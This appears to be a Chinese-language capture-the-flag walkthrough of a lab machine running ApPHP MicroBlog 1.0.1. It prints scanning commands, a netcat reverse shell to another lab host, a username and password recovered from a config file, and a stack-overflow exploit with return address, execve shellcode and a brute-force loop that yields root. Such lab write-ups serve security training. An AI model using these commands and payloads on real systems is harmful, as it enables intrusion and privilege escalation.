主机探活
nmap -sP 192.168.159.0/24
目标主机IP为:192.168.159.170
端口发现
nmap -sV -p- -A 192.168.159.170
开启了:80、111、42909端口
80端口
目录扫描
dirsearch -u 192.168.159.170
我在访问这些页面后没有找到什么特别有用的信息。。。
但是知道了它使用了CMS,并在页面中找到了它的版本
ApPHP MicroBlog 1.0.1
CMS
本地漏洞库查找
searchsploit ApPHP MicroBlog 1.0.1
执行该脚本
成功获取权限
提权
这个shell有点问题,我们尝试重新推一个回来
nc 192.168.159.131 7777 -e /bin/bash
python -c 'import pty;pty.spawn("/bin/bash")'
setuid
find / -perm -u=s -type f 2>/dev/null
啥都没。。。
计划任务和sudo都没有可以利用的。。。
信息收集
在/var/www/html/include/base.inc.php
文件中发现了一组用户名密码,同时在/home
目录下也恰好有该用户
用户名:clapton 密码:yaraklitepe
切换用户
成功切换用户
重新进行上述的一系列提权操作,在setuid里发现一个可疑程序
进入/home/clapton文件夹,运行该文件,发现应该是一个输入字符串的程序
并且找到了相关提示信息,应该使用buffer overflow攻击
buffer overflow
我们运行这个程序,发现它的功能大概是输入一个字符串,而它又提示我们是栈溢出,因此猜测当输入的字符串较大时,会产生溢出。
确实产生了溢出
确定允许输入的最大字符串长度
利用kali下工具生成有序字符串
msf-pattern_create -l 3000
gdb调试
gdb input
run 生成的字符串
得到溢出的地址
0x41376641
利用工具得到溢出的字符是第几个
msf-pattern_offset -q 0x41376641
确切的匹配是第171位,因此第172位开始溢出
栈溢出
也就是说,从第172位开始,就不是字符串的位置了,其后四位是 eip 的值(下一条指令运行地址)
info registers # 查看寄存器内容
通过我们输入验证,发现第172位开始后四位确实是 eip 的值
我们再加四位,然后查看 esp 的值
run $(python -c 'print("A"*171 + "\xea\xea\xea\xea" + "\x11\x11\x11\x11")')
x/50wx $esp # 以16进制形式查看esp的值
获得$esp
的一个可能开始地址(每次都不一样,会变),我采用笨办法,多试几次,总有一次会碰上这个地址
0xbfde24c0
从结果可以看出,esp中的值是我们输入的内容,所以最后的payload应该为:
"A"*171 + "\xc0\x24\xde\xbf" + shellcode
shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00 (euid)
或
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80 (uid)
# 加一些 nop 来提高成功率
python -c 'print("A"*171 + "\xc0\x24\xde\xbf" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00")'
写一个shell脚本来多次运行,碰运气搞 esp 的地址
for i in {1..10000}; do (./input $(python -c 'print("A"*171 + "\xc0\x24\xde\xbf" + "\x90" * 1000 + "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")')); done
成功获取root权限